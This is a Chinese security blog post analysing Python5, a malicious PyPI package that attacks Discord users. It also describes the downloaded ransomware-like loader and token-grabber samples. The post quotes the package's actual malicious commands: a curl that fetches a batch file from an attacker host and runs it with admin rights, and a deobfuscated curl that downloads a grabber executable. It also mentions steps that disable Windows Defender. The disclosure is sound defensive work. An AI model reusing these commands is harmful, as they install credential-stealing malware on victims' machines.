【天问】Python5来了?不,是Discord攻击又来了!
/ / 点击 / 阅读耗时 14 分钟近两周来,天问系统连续捕获了多个针对Discord的攻击包,今日天问系统又捕获了一个恶意包,名为Python5,同样试图攻击Discord。
攻击简介
2022年1月13日11时许,天问Python供应链监测模块捕获到一个名为Python5的恶意包,该包在包名相似度匹配及文件/网络上均发出告警,我们立即展开了对该包恶意行为的分析,并在确定了其恶意行为后迅速将其信息同步给了官方。
该包将恶意代码编写在__init__.py内,当用户误操作import python5时便会触发其恶意代码,这种攻击方式的触发条件较为苛刻。其恶意代码分析如下。
初始代码分析
1 | subprocess.call("curl https://scripts.windowstools.repl.co/scripts/KrnlCracked.php --output cmd.bat && powershell Start-Process 'cmd.bat' -Verb runAs") |
其通过六个subprocess.call创建子进程在终端直接执行上述六条行为,行为分析如下。
- 爬取URL内信息,写成bat文件并执行
- 为恶意进程创建新注册表值
- 让Windows Defender不再阻拦以exe为结尾的文件
- 让Windows Defender关闭实时监测
- 混淆后的字符串,下面会做详细解读
- 攻击者的恶趣味,在攻击完之后播放了一段小丑的BGM
混淆内容分析
得益于天问Python供应链监测模块的实时性,我们第一时间便开始了对上述六条行为的分析,并在行为一的URL内提取到了如下信息。
1 | @echo off |
上面两条由Set开头的信息在计算机环境变量中定义了变量aw9u和a7k为两个字符串,在行为五中有很多类似 a7k:~61,1
的结构,该结构的意思为提取环境变量中a7k中从第61个字符开始后面的一个字符,即此处应为 ‘c’。
在对混淆的字符串全部进行反混淆后我们得到如下结果。
1 | curl https://uptime.windowstools.repl.co/logger --output C:\Users\ekila\KrnlBypasser.exe |
恶意代码访问URL并下载了KrnlBypasswer.exe和Windows Defender.exe两个可执行文件并执行。
在下午两时许,我们发现行为一中URL内信息已经发生变化,如下所示。
1 | @echo off |
与我们上午反混淆得到的下载链接一模一样。截止发稿前,上述所有链接均为有效状态。
恶意样本分析
Windows Defender.exe
来源链接:hxxps://uptime.windowstools.repl.co/controller
原始文件名:loader.exe
Hash: 08225015a1d79f95384af6b14d392912
该样本的主要功能及行为如下:
获取当前ip及硬件id,并判断当前是否包含钱包方法
监听本地,删除文件,加密文件,添加启动项
定位当前位置并回传
通过WMIC读取信息
加密文件,勒索用户
KrnlBypasswer.exe
来源链接:hxxps://uptime.windowstools.repl.co/logger
原始文件名:Grabber.exe
Hash: 13b070b6c53ec24923e146404ed512fc
该样本经天穹沙箱分析,其行为与前两次Discord攻击方式类似,也会读取用户Discord程序ldb
类型敏感隐私文件,如下图所示。
总结
经过比对,这次的KrnlBypasswer.exe和之前两次Discord攻击:【天问】Discord攻击再现,多种混淆加密逃避安全检测和【天问】攻击者瞄准Discord,窃取银行卡信息,具有相似性。通过调研,我们发现这些攻击Discord的恶意软件的源代码均来自于github用户Rdimo,主要代码来自Hazard-Token-Grabber-V2,攻击者大多仅修改用于回传信息的Discord频道的机器人webhooks。
值的一提的是Rdimo于18个小时前刚刚更新了其main函数,这个时间与此次攻击包更新时间(约11小时前)相吻合,我们推断攻击者是受了Rdimo代码改动影响故更新其攻击包。
软件供应链攻击是当前网络安全领域的热点,天问系统作为面向软件供应链安全领域的分析平台,对Python、NPM、Maven等主流软件生态进行长期、持续的监测和分析,率先发现并陆续披漏了多个攻击案例。我们将继续关注Rdimo的动向,并持续监测Python源的生态安全。